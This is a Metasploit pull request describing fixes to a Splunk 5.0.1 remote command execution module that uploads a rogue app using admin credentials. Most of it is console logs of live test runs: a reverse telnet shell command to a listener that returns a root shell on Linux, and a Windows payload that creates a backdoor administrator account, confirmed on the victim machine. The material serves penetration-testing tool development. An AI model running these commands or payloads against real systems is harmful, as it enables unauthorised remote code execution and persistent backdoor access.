rapid7/metasploit-framework — pull request #1138 by jvazquez-r7 (2012-12-07 11:06:09+00:00)
Title: Splunk upload app exec cleanup

This module includes the work done by @wchen-r7 and @jvazquez-r7 to make #1062 work on Windows and Linux with Splunk 5.0.1. Summary of fixes:

* Move source to the splunk app to "external/source/exploits" dir.
* Fix the form used for the file upload. It was broken.
* Avoid the usage of "Rex::MIME::Message" because the next code on the "to_s" function was corrupting the tgz contents:

```ruby
# Force CRLF for SMTP compatibility
msg.gsub("\r", '').gsub("\n", "\r\n")
```
* Add different targets for linux and windows so the user only can select the payloads which apply.

Tested on linux with Ubuntu 10.04 with splunk-5.0.1-143156:

msf > use exploit/multi/http/splunk_upload_app_exec
msf exploit(splunk_upload_app_exec) > show options

Module options (exploit/multi/http/splunk_upload_app_exec):

Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD changeme yes The password for the specified username
Proxies no Use a proxy chain
RHOST yes The target address
RPORT 8000 yes The target port
SPLUNK_APP_FILE /Users/juan/Projects/git/metasploit-framework/data/exploits/splunk/upload_app_exec.tgz yes The "rogue" Splunk application tgz
USERNAME admin yes The username with admin role to authenticate as
VHOST no HTTP server virtual host

Exploit target:

Id Name
-- ----
0 Splunk 5.0.1 / Linux

msf exploit(splunk_upload_app_exec) > set RHOST 192.168.1.137
RHOST => 192.168.1.137
msf exploit(splunk_upload_app_exec) > rexploit
[*] Reloading module...

[*] Using command: sh -c '(sleep 4597|telnet 192.168.1.129 4444|while : ; do sh && break; done 2>&1|telnet 192.168.1.129 4444 >/dev/null 2>&1 &)'
[*] Authenticating...
[*] Started reverse double handler
[*] Fetching csrf token from /en-US/manager/launcher/apps/local
[*] Uploading file upload_app_exec.tgz
[*] upload_app_exec successfully uploaded
[*] Fetching csrf token from /en-US/app/upload_app_exec/flashtimeline
[*] Invoking script command
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo uyYJGuNfu2AetK0N;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "uyYJGuNfu2AetK0N\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (192.168.1.129:4444 -> 192.168.1.137:41432) at 2012-12-07 11:53:35 +0100

id
uid=0(root) gid=0(root) groups=0(root)
^C
Abort session 1? [y/N] y

[*] 192.168.1.137 - Command shell session 1 closed. Reason: User exit

* Tested on windows xp with splunk-5.0.1-143156 with the adduser payload because the ruby/perl cmd payloads for windows seems broken, even launching the cmd commands from the windows cmd don't work:

msf exploit(splunk_upload_app_exec) > show targets

Exploit targets:

Id Name
-- ----
0 Splunk 5.0.1 / Linux
1 Splunk 5.0.1 / Windows

msf exploit(splunk_upload_app_exec) > set target 1
target => 1
msf exploit(splunk_upload_app_exec) > set payload cmd/windows/adduser
payload => cmd/windows/adduser
msf exploit(splunk_upload_app_exec) > show options

Module options (exploit/multi/http/splunk_upload_app_exec):

Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD changeme yes The password for the specified username
Proxies no Use a proxy chain
RHOST 192.168.1.137 yes The target address
RPORT 8000 yes The target port
SPLUNK_APP_FILE /Users/juan/Projects/git/metasploit-framework/data/exploits/splunk/upload_app_exec.tgz yes The "rogue" Splunk application tgz
USERNAME admin yes The username with admin role to authenticate as
VHOST no HTTP server virtual host

Payload options (cmd/windows/adduser):

Name Current Setting Required Description
---- --------------- -------- -----------
CUSTOM no Custom group name to be used instead of default
PASS Metasploit$1 yes The password for this user
USER metasploit yes The username to create
WMIC false yes Use WMIC on the target to resolve administrators group

Exploit target:

Id Name
-- ----
1 Splunk 5.0.1 / Windows

msf exploit(splunk_upload_app_exec) > rexploit
[*] Reloading module...

[*] Using command: cmd.exe /c net user metasploit Metasploit$1 /ADD && net localgroup Administrators metasploit /ADD
[*] Authenticating...
[*] Fetching csrf token from /en-US/manager/launcher/apps/local
[*] Uploading file upload_app_exec.tgz
[*] upload_app_exec successfully uploaded
[*] Fetching csrf token from /en-US/app/upload_app_exec/flashtimeline
[*] Invoking script command

After that, on the victim machine:

C:\Documents and Settings\Administrator>net user metasploit
User name metasploit
Full Name
Comment
User's comment
Country code 000 (System Default)
Account active Yes
Account expires Never

Password last set 12/6/2012 11:19 PM
Password expires 1/18/2013 10:07 PM
Password changeable 12/6/2012 11:19 PM
Password required Yes
User may change password Yes

Workstations allowed All
Logon script
User profile
Home directory
Last logon Never

Logon hours allowed All

Local Group Memberships *Administrators *Users
Global Group memberships *None
The command completed successfully.

C:\Documents and Settings\Administrator>